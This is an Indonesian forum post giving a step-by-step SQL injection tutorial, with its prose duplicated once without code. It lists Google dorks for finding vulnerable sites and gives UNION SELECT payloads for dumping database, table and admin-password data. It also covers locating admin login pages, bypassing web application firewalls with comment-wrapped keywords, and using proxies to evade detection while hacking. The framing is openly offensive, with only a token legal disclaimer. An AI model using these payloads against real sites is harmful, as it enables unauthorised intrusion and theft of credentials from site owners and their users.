[ Tut ] Tutorial Injection secara rinci dan dasar SQL
2 posters
Halaman 1 dari 1
[ Tut ] Tutorial Injection secara rinci dan dasar SQL
Pasti sebagian dari Anda pasti tau apa itu SQL Injection..
Apa itu SQL Injection?
Sebelum kita melangkah lebih jauh setidaknya kita mengetahui dahulu apa itu SQL Injection.
SQL Injection, pada dasarnya adalah sebuah injeksi kode yang mengeksploitasi daerah rentan terhadap SQL Injection. Kode disuntikkan akan mengeksploitasi Database, untuk mendapatkan Informasi. Seperti Email, Nama pengguna, Sandi, dll
Dalam Tutorial ini, kita akan mencari kredensial Panel Admin. Perlu diketahui, saya berkata Admin Panel, bukan panel kontrol. Sementara melakukan sebuah SQL Injection, Anda mungkin tidak selalu menemukan apa yang Anda cari. Beberapa situs telah mengamankan informasi penting, sehingga tidak akan berkompromi dengan mudah.
Mencari Target Site Vuln
Anda dapat menemukan situs yang rentan menggunakan Dorks. Gunakan google, itu cara terbaik. Dork adalah sesuatu seperti ini :
Salah Satu dork:
Ada Ratusan Ribuan orang lain, dan ada juga beberapa Posts sekitar Dorks, sehingga Anda bisa membaca site jika Anda ingin mencari situs yang baik untuk mengeksploitasi dengan SQL Injection.
Memanfaatkan Database
Apakah Anda semua siap untuk bersenang-senang dari SQL Injection? Oke, jadi pertama, kita perlu menguji situs untuk melihat apakah ia rentan terhadap SQL Injection. Saya tidak akan menggunakan nama situs online untuk Contoh saya:
Mencari Jumlah Column
Sekarang, kita tahu situs kami rentan terhadap SQL Injection, jadi kami ingin mulai mendapatkan Info keluar dari Database. Tapi sebelum kita melakukan itu, kita harus mencari tahu YANG kolom rentan terhadap SQL Injection. Tapi kita tidak tahu berapa banyak kolom yang belum ada, jadi kita perlu yang pertama. Untuk menemukan jumlah kolom kita perlu menggunakan perintah yang disebut 'Order By'. Perintah ini akan membantu kita menentukan berapa banyak kolom yang ada. Jadi URL Anda sekarang harus terlihat seperti ini:
Jadi kita tidak mendapatkan error, jadi kita harus terus sampai kita mendapatkan error.
Oke, kita punya kesalahan pada kolom 5. Itu berarti hanya ada 4 kolom. Karena kolom 5 tidak ada, kita punya kesalahan.
PENTING !!
Tanda hubung dua itu (--) sangat penting untuk menjalankan perintah. Dua tanda hubung akan memberitahu situs bahwa itu perintah, dan akan mengeksekusi. Jadi kita PERLU mereka pada akhir setiap perintah.
Menemukan Column yang Rentan
Kami sekarang memiliki jumlah kolom. Tapi kita hanya perlu mengetahui mana yang rentan terhadap eksekusi perintah SQL. Jadi kita akan menggunakan perintah yang disebut "union select". Ini adalah apa yang akan menemukan kolom rentan. Jadi kita perlu menambahkan perintah ke URL kami. Setelah perintah itu, kita perlu menambahkan jumlah kolom yang ada. Jadi sekarang URL kita harus terlihat seperti ini:
Beberapa nomor akan muncul pada layar Anda. Itu adalah normal, dan merupakan pertanda baik (yg jelas bukan nomor togel :p ). Angka-angka, adalah jumlah kolom yang rentan terhadap SQL Injection. Jadi mereka adalah kolom kita perlu menjalankan perintah kita masuk Jadi katakanlah bahwa kolom 2 muncul di Page. Kami akan menjalankan perintah dalam kolom 2
PENTING !
Menentukan Versi Database MySql
Mengapa kita membutuhkan versi Database MySql??
Karena versi akan membiarkan kita tahu perintah apa yang bisa kita gunakan. Saya menganggap versi 5 lebih mudah. Jadi saya akan memberitahu Anda bagaimana untuk mendapatkan informasi dari Database dengan versi 5.
Jadi kolom kita rentan adalah 2. Jadi di sanalah kita akan mengeksekusi kode. Ganti 2 dengan perintah Anda. Perintahnya adalah: @@version. Jadi URL Anda sekarang harus terlihat seperti ini:
Menemukan Nama Database
Nama Database adalah penting. Setidaknya jika kita ingin melihat di Tabel yang akan berisi informasi. Untuk menemukan nama database, ada 2 cara paling umum. Mereka berdua akan bekerja. Perintah pertama adalah:
Melihat Tabel Database
Tabel adalah apa yang berisi informasi. Itulah mengapa kita perlu untuk melihatnya. Jadi kita bisa mendapatkan informasi yang kita cari.
Perintah untuk melihat tabel adalah lebih lama dari beberapa kita lihat sudah. Jadi, inilah yang URL Anda sekarang harus terlihat seperti:
Melihat Informasi Tabel
Kemungkinan besar akan diberikan banyak tabel. Terserah Anda untuk memutuskan mana yang berisi informasi yang berharga.
Jadi dapat di masa-masa sulit untuk memilih tabel yang akan berisi informasi penting. Namun, kita tidak akan selalu membutuhkan username, karena kemungkinan besar "admin". Tapi password, adalah apa yang kita BENAR-BENAR butuhkan. Jadi pilihlah meja. Yang saya akan menggunakan untuk contoh ini akan menjadi "admin_credentials". Ini sangat jarang bahwa Anda akan mendapatkan Tabel dengan judul pada dasarnya membuat Anda memilih yang satu itu. Jadi saat ini menggunakan query / perintah:
Untuk melakukan itu, saya merekomendasikan situs ini:
PENTING
Anda HARUS memiliki 0x setelah = 0x akan membiarkan situs tahu bahwa Anda mengeksekusi perintah dengan HEX. Jadi kritis. Jika tidak, TIDAK akan bekerja.
Misal :
Menampilkan Isi
Masih akan ada beberapa tabel dalam tabel yang Anda pilih. Jadi Anda perlu untuk mendapatkan informasi, dan yang biasanya akan berarti tabel selamat tinggal, dan akses Panel Admin HELLO.
Mari kita mengatakan bahwa saya adalah menampilkan "userpword" dan "user". Mereka adalah hanya kolom yang menampilkan untuk saya (Namun, ini akan sangat jarang). Jadi kita perlu untuk mengakses informasi di sana. Kita dapat mengakses mereka berdua pada waktu sebenarnya. Tapi jika Anda lebih satu per satu waktu, gunakan query ini:
Sekarang kita harus memiliki semua credentials, jadi kami hanya perlu menemukan Admin Login.
Finding the AdminLogin
Biasanya, semua yang Anda harus lakukan adalah secara cepat melihat dengan menambahkan small / admin atau / index.php /.
Seperti ini:
Code:
Saya sarankan melakukannya secara manual, karena ada kebanggaan sendiri setelah hack Website.
WAF By-Passing
Anda mungkin bertanya, apa WAF By-Passing?
Pertama, saya akan menjelaskan WAF By-Passing.
WAF singkatan Firewall Aplikasi Web. Sebuah Firewall Aplikasi Web adalah diletakkan di tempat, sehingga website mereka akan aman dari serangan, seperti SQL Injection, XSS, dan metode eksploitasi lebih. Para WAF filter perintah dimasukkan melalui Database, dan mendeteksi attakcs terhadap situs tersebut.
Sebuah Kesalahan WAF akan terlihat seperti ini:
FORBIDDEN
Jika kita mendapatkan error bahwa ketika kita menggunakan Union Select, yang berarti bahwa ada satu set WAF di webserver. Jadi, WAF By-Passing, kita harus mengubah Sintaks dari perintah, sehingga filter tidak mendeteksi serangan.
Ada beberapa metode tentang bagaimana untuk by-pass WAF, saya akan menjelaskan beberapa:
Pertama
Anda tidak perlu khawatir tentang mendapatkan jumlah kolom, Firewall tidak menghalangi itu, bagaimanapun, DO blok perintah union select, jadi di sini adalah metode pertama, tentang bagaimana By Pass Firewall.
Kode kita akan menggunakan akan menggunakan berbeda "Simbol" oleh-pass filter. Ini terlihat seperti ini:
Setelah selesai, kita akan mendapatkan informasi dari kolom rentan, jadi inilah yang seharusnya terlihat seperti:
Sekarang kita akan mendapatkan nama tabel. Jadi kita akan kembali, harus by-pass WAF tersebut. Kali ini, perintah akan terlihat seperti ini:
Terakhir
SQL Injection ADALAH PERBUATAN MELANGGAR HUKUM. Jadi apapun yang Anda lakukan dengan itu, adalah tanggungjawab Anda, bukan saya. Anda bisa mendapatkan di banyak kesulitan untuk SQL Injection. Check out Proxy dan bagian Socks untuk perlindungan sementara hack sebuah situs.
Apa itu SQL Injection?
Sebelum kita melangkah lebih jauh setidaknya kita mengetahui dahulu apa itu SQL Injection.
SQL Injection, pada dasarnya adalah sebuah injeksi kode yang mengeksploitasi daerah rentan terhadap SQL Injection. Kode disuntikkan akan mengeksploitasi Database, untuk mendapatkan Informasi. Seperti Email, Nama pengguna, Sandi, dll
Dalam Tutorial ini, kita akan mencari kredensial Panel Admin. Perlu diketahui, saya berkata Admin Panel, bukan panel kontrol. Sementara melakukan sebuah SQL Injection, Anda mungkin tidak selalu menemukan apa yang Anda cari. Beberapa situs telah mengamankan informasi penting, sehingga tidak akan berkompromi dengan mudah.
Mencari Target Site Vuln
Anda dapat menemukan situs yang rentan menggunakan Dorks. Gunakan google, itu cara terbaik. Dork adalah sesuatu seperti ini :
Salah Satu dork:
inurl:news.php?id=
inurl:event.php?id=
inurl:order.php?id=
inurl:user.php?id=
inurl:restaurant.php?id=
inurl:buy.php?id=
Ada Ratusan Ribuan orang lain, dan ada juga beberapa Posts sekitar Dorks, sehingga Anda bisa membaca site jika Anda ingin mencari situs yang baik untuk mengeksploitasi dengan SQL Injection.
Memanfaatkan Database
Apakah Anda semua siap untuk bersenang-senang dari SQL Injection? Oke, jadi pertama, kita perlu menguji situs untuk melihat apakah ia rentan terhadap SQL Injection. Saya tidak akan menggunakan nama situs online untuk Contoh saya:
- Code:
http://www.target.com/event.php?id=1
- Code:
http://www.target.com/event.php?id=1'
Mencari Jumlah Column
Sekarang, kita tahu situs kami rentan terhadap SQL Injection, jadi kami ingin mulai mendapatkan Info keluar dari Database. Tapi sebelum kita melakukan itu, kita harus mencari tahu YANG kolom rentan terhadap SQL Injection. Tapi kita tidak tahu berapa banyak kolom yang belum ada, jadi kita perlu yang pertama. Untuk menemukan jumlah kolom kita perlu menggunakan perintah yang disebut 'Order By'. Perintah ini akan membantu kita menentukan berapa banyak kolom yang ada. Jadi URL Anda sekarang harus terlihat seperti ini:
- Code:
http://www.target.com/event.php?id=1 order by 2--
Jadi kita tidak mendapatkan error, jadi kita harus terus sampai kita mendapatkan error.
- Code:
http://www.target.com/event.php?id=1 order by 3--
*NO ERROR*
http://www.target.com/event.php?id=1 order by 4--
*NO ERROR*
http://www.target.com/event.php?id=1 order by 5--
*ERROR*
Oke, kita punya kesalahan pada kolom 5. Itu berarti hanya ada 4 kolom. Karena kolom 5 tidak ada, kita punya kesalahan.
PENTING !!
Tanda hubung dua itu (--) sangat penting untuk menjalankan perintah. Dua tanda hubung akan memberitahu situs bahwa itu perintah, dan akan mengeksekusi. Jadi kita PERLU mereka pada akhir setiap perintah.
Menemukan Column yang Rentan
Kami sekarang memiliki jumlah kolom. Tapi kita hanya perlu mengetahui mana yang rentan terhadap eksekusi perintah SQL. Jadi kita akan menggunakan perintah yang disebut "union select". Ini adalah apa yang akan menemukan kolom rentan. Jadi kita perlu menambahkan perintah ke URL kami. Setelah perintah itu, kita perlu menambahkan jumlah kolom yang ada. Jadi sekarang URL kita harus terlihat seperti ini:
- Code:
http://www.target.com/event.php?id=-1 union select 1,2,3,4--
Beberapa nomor akan muncul pada layar Anda. Itu adalah normal, dan merupakan pertanda baik (yg jelas bukan nomor togel :p ). Angka-angka, adalah jumlah kolom yang rentan terhadap SQL Injection. Jadi mereka adalah kolom kita perlu menjalankan perintah kita masuk Jadi katakanlah bahwa kolom 2 muncul di Page. Kami akan menjalankan perintah dalam kolom 2
PENTING !
- Code:
Anda HARUS memiliki - setelah =. Yang sangat penting.
Menentukan Versi Database MySql
Mengapa kita membutuhkan versi Database MySql??
Karena versi akan membiarkan kita tahu perintah apa yang bisa kita gunakan. Saya menganggap versi 5 lebih mudah. Jadi saya akan memberitahu Anda bagaimana untuk mendapatkan informasi dari Database dengan versi 5.
Jadi kolom kita rentan adalah 2. Jadi di sanalah kita akan mengeksekusi kode. Ganti 2 dengan perintah Anda. Perintahnya adalah: @@version. Jadi URL Anda sekarang harus terlihat seperti ini:
- Code:
http://www.target.com/event.php?id=-1 union select 1,@@version,3,4--
5.1.47-community-log
Angka-angka yang dibelakangnya tidak penting, asalkan mereka minimal 5, atau lebih
Menemukan Nama Database
Nama Database adalah penting. Setidaknya jika kita ingin melihat di Tabel yang akan berisi informasi. Untuk menemukan nama database, ada 2 cara paling umum. Mereka berdua akan bekerja. Perintah pertama adalah:
- Code:
http://www.target.com/event.php?id=-1 union select 1,group_concat(schema_name),3,4 from information_schema.schemata--
- Code:
http://www.target.com/event.php?id=-1 union select 1,concat(database()),3,4--
Melihat Tabel Database
Tabel adalah apa yang berisi informasi. Itulah mengapa kita perlu untuk melihatnya. Jadi kita bisa mendapatkan informasi yang kita cari.
Perintah untuk melihat tabel adalah lebih lama dari beberapa kita lihat sudah. Jadi, inilah yang URL Anda sekarang harus terlihat seperti:
- Code:
http://www.target.com/event.php?id=-1 union select 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()--
Melihat Informasi Tabel
Kemungkinan besar akan diberikan banyak tabel. Terserah Anda untuk memutuskan mana yang berisi informasi yang berharga.
Jadi dapat di masa-masa sulit untuk memilih tabel yang akan berisi informasi penting. Namun, kita tidak akan selalu membutuhkan username, karena kemungkinan besar "admin". Tapi password, adalah apa yang kita BENAR-BENAR butuhkan. Jadi pilihlah meja. Yang saya akan menggunakan untuk contoh ini akan menjadi "admin_credentials". Ini sangat jarang bahwa Anda akan mendapatkan Tabel dengan judul pada dasarnya membuat Anda memilih yang satu itu. Jadi saat ini menggunakan query / perintah:
- Code:
http://www.target.com/event.php?id=-1 union select 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name="admin_credentials"
Untuk melakukan itu, saya merekomendasikan situs ini:
- Code:
http://www.swingnote.com/tools/texttohex.php
http://www.string-functions.com/string-hex.aspx
- Code:
http://www.target.com/event.php?id=-1 union select 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name=0x61646d696e5f63726564656e7469616c73
PENTING
Anda HARUS memiliki 0x setelah = 0x akan membiarkan situs tahu bahwa Anda mengeksekusi perintah dengan HEX. Jadi kritis. Jika tidak, TIDAK akan bekerja.
Misal :
- Code:
0x[code yang diubah menjadi hex]
0x61646d696e5f63726564656e7469616c73
Menampilkan Isi
Masih akan ada beberapa tabel dalam tabel yang Anda pilih. Jadi Anda perlu untuk mendapatkan informasi, dan yang biasanya akan berarti tabel selamat tinggal, dan akses Panel Admin HELLO.
Mari kita mengatakan bahwa saya adalah menampilkan "userpword" dan "user". Mereka adalah hanya kolom yang menampilkan untuk saya (Namun, ini akan sangat jarang). Jadi kita perlu untuk mengakses informasi di sana. Kita dapat mengakses mereka berdua pada waktu sebenarnya. Tapi jika Anda lebih satu per satu waktu, gunakan query ini:
- Code:
http://www.target.com/event.php?id=-1 union select 1,group_concat(userpword),3,4 FROM DBName.admin_credentials--
Sekarang kita harus memiliki semua credentials, jadi kami hanya perlu menemukan Admin Login.
Finding the AdminLogin
Biasanya, semua yang Anda harus lakukan adalah secara cepat melihat dengan menambahkan small / admin atau / index.php /.
Seperti ini:
Code:
Dan ada banyak lagi. Pada kali, Anda tidak akan menemukan Login, sehingga Anda akan membutuhkan "Admin Login" finder. Ada beberapa site yang menyediakan, dan ada juga yang versi download.[You must be registered and logged in to see this link.]
Saya sarankan melakukannya secara manual, karena ada kebanggaan sendiri setelah hack Website.
WAF By-Passing
Anda mungkin bertanya, apa WAF By-Passing?
Pertama, saya akan menjelaskan WAF By-Passing.
WAF singkatan Firewall Aplikasi Web. Sebuah Firewall Aplikasi Web adalah diletakkan di tempat, sehingga website mereka akan aman dari serangan, seperti SQL Injection, XSS, dan metode eksploitasi lebih. Para WAF filter perintah dimasukkan melalui Database, dan mendeteksi attakcs terhadap situs tersebut.
Sebuah Kesalahan WAF akan terlihat seperti ini:
FORBIDDEN
You are not allowed to access "" on this server
*INFORMATION ABOUT THE WEBSERVER IS HERE*
Jika kita mendapatkan error bahwa ketika kita menggunakan Union Select, yang berarti bahwa ada satu set WAF di webserver. Jadi, WAF By-Passing, kita harus mengubah Sintaks dari perintah, sehingga filter tidak mendeteksi serangan.
Ada beberapa metode tentang bagaimana untuk by-pass WAF, saya akan menjelaskan beberapa:
Pertama
Anda tidak perlu khawatir tentang mendapatkan jumlah kolom, Firewall tidak menghalangi itu, bagaimanapun, DO blok perintah union select, jadi di sini adalah metode pertama, tentang bagaimana By Pass Firewall.
Kode kita akan menggunakan akan menggunakan berbeda "Simbol" oleh-pass filter. Ini terlihat seperti ini:
- Code:
http://www.target.com/event.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3--
Setelah selesai, kita akan mendapatkan informasi dari kolom rentan, jadi inilah yang seharusnya terlihat seperti:
- Code:
http://www.target.com/event.phpid=-1 /*!UNION*/ /*!SELECT*/ 1,CoNcAt(version()),3--
- Code:
http://www.target.com/event.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,CoNcAt(version(),0x3a,user(),0x3a,database(),0x3a),3--
Sekarang kita akan mendapatkan nama tabel. Jadi kita akan kembali, harus by-pass WAF tersebut. Kali ini, perintah akan terlihat seperti ini:
- Code:
http://www.target.com/event.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,Group_Concat(table_name),3 from /*!information_schema*/.tables where table_schema=database()--
- Code:
http://www.target.com/event.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,Group_Concat(column_name),3 from /*!information_schema*/.columns where table_name=0x*HEX CODE OF THE TABLE NAME*--
- Code:
http://www.target.com/event.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,Group_Concat(*COLUMN NAME HERE*),3 from *DATABASE NAME HERE*.*TABLE NAME HERE*
Terakhir
SQL Injection ADALAH PERBUATAN MELANGGAR HUKUM. Jadi apapun yang Anda lakukan dengan itu, adalah tanggungjawab Anda, bukan saya. Anda bisa mendapatkan di banyak kesulitan untuk SQL Injection. Check out Proxy dan bagian Socks untuk perlindungan sementara hack sebuah situs.
RodDick- Calon Penduduk Cyber
-
Jumlah posting : 92
Points : 5045
Reputation : 3
Join date : 10.10.11
Age : 33
Lokasi : Malang
Similar topics
» Facebook Status Update With XFBML Injection
» Konsep Dasar IP Address
» ASP.NET (tutorial)
» Tutorial Shaping
» netcut Tutorial
» Konsep Dasar IP Address
» ASP.NET (tutorial)
» Tutorial Shaping
» netcut Tutorial
Halaman 1 dari 1
Permissions in this forum:
Anda tidak dapat menjawab topik